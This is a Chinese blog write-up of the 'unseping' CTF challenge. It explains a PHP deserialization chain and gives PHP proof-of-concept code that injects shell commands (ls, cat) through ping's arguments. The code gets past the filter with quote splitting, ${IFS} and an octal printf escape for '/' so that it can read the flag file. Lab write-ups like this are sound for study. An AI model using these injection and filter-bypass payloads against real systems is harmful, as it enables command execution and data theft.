首页 > 其他分享 >攻防世界---unseping

攻防世界---unseping

时间:2024-05-16 21:29:38浏览次数:21  
标签:攻防 绕过 args ping --- unseping array 八进制 method

攻防世界---unseping

一.题干

image-20240427090825780

二.pop链的构造

反序列化执行__wakeup魔术方法->waf函数对传入的参数进行过滤->执行__destruct魔术方法->利用call_user_func_array执行回调函数ping

三.绕过过滤

1.首先,waf函数过滤了ls命令,可以使用空变量${Z}或者''或者""绕过:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

//$a = new ease("ping",array('l${Z}s'));   #这里只能使用单引号,否则php会将${Z}当成变量解析,导致无法绕过

$a = new ease("ping",array("l''s"));

echo urlencode(base64_encode((serialize($a))));

发现了一个没有后缀名的名字,猜测是目录:

image-20240427091722532

2.使用${IFS}绕过空格,列举一下该目录下的文件:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));

echo urlencode(base64_encode((serialize($a))));

image-20240427092030893

3.此时遇到了一个棘手的问题,题目中过滤了"\"和"/",导致我们无法直接通过flag_1s_here/flag_831b69012c67b35f.php的方式读到flag,因此我们必须要想办法绕过"/"。

4.在网上参考了很多大佬的博客,发现可以使用八进制转义序列进行绕过,首先解释一下八进制转义序列:

image-20240427092559832

5.利用C语言的%o打印八进制序列,打印出"/"的八进制:

image-20240427092959858

6.在ubuntu下做实验:

image-20240427093037553

7.最后整理出完整的poc,成功拿到flag:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));

echo urlencode(base64_encode((serialize($a))));

image-20240427093206502

标签:攻防,绕过,args,ping,---,unseping,array,八进制,method
From: https://www.cnblogs.com/dtwin/p/18196769

相关文章

  • DBA(Database Administrator)数据库运维-mysql
    一、开篇1、版本选择1、企业版2、社区版MySQL社区版则是由分散在世界各地的MySQL开发者、爱好者以及用户参与开发与测试的,包括软件代码的管理、测试工作,也是他们在负责。社区也会设立BUG汇报机制,收集用户在使用过程中遇到的BUG情况,相比于企业版,社区版的开发及测试环境没有那么......
  • 01-linux核心基础-09文件管理
    文件类型以.开头的文件为隐藏文件NDS配置DNS服务器配置信息1、windows:C:\Windows\System32\drivers\etc\hosts2、linux:/etc/resolv.conf需要记忆变量##1.变量的作用[root@fjh001~]#cathello.shname="隔壁的老张"echo"你好$name"echo"吃了吗$name"ech......
  • 01-linu核心基础-08文件管理
    关于命令提示符[zhiwei01@fjh001~]$ $表示普通用户,身份提示符[root@fjh001~]# 最后一个#表示是用户身份提示符,root则是#关于ssh命令[email protected]#linux怎么写[email protected]关于w命令,显示系统登录用户......
  • 322 - Coin Change 换零钱
    问题描述Youaregivenanintegerarraycoinsrepresentingcoinsofdifferentdenominationsandanintegeramountrepresentingatotalamountofmoney.Returnthefewestnumberofcoinsthatyouneedtomakeupthatamount.Ifthatamountofmoneycannotbe......
  • 运维笔记-mac下分卷压缩文件
    场景描述:文件传输过程中,如果网络限制了接受的文件大小(例如:允许最大传输的文件是100M,我们实际的文件大小是320M),这个时候就需要把单个文件拆分成4个文件每个80M左右,才可以正常传输。)另外一个场景是,当你需要传输的文件太大例如几个G,里边又是经过压缩的zip或者.tar.gz文件,如果文件......
  • 新浪SAE为例-源代码的开发
    源代码就是指编写的最原始程序的代码。我们所运行的软件是要经过编写的,程序员编写程序的过程中需要他们的“语言”。就像音乐家用五线谱,建筑师用图纸,那程序员的工作的语言就是“源码”了。新浪SAE是新浪研发中心于2009年8月开始内部开发,并在2009年11月3日正式推出第一个Alpha版本......
  • 电子设计自动化-实验报告
    实验一:LED流水灯设计一、实验目的熟悉QuartusII开发环境掌握FPGA开发流程二、实验内容及原理实验内容通过设计计数器,实现LED流水灯的效果实验原理LED硬件电路Fig.2.1AX301开发板LED部分原理图从上面的LED部分原理图可以看出,LED电路有两个方式,AX301......
  • npm包 - 发布vue组件
    npm包-发布vue组件 一. 环境准备npminstall-g@vue/cli  二. 创建项目vuecreatevue-page-card-drag 本文使用vue2 三. 开发组件/加入组件可以将已经编写好的组件移动到components目录下,或者新建一个vue组件,步骤是一样的。例如我这里新建了一个Hello......
  • 基础元素化学速通指北-卤素
    前言感觉卤素很典啊。氟很反常,原因有以下几点:原子半径小,负电荷密度高;电负性大。正文物理性质要开张表写,有点难,先咕着。从氟到碘,分子间色散力增加。单质的密度,熔沸点,临界温度,汽化热等性质依次增加。氯易液化。碘常压下加热升华。高压下可导电。氟到碘颜色依次加深,原因是气......
  • D - Another Sigma Problem
    D-AnotherSigmaProblemhttps://atcoder.jp/contests/abc353/tasks/abc353_d 思路前缀和+快速幂https://zhuanlan.zhihu.com/p/697255076 Codehttps://atcoder.jp/contests/abc353/submissions/53514365typedeflonglongll;llpow(llx,lln){if(n==......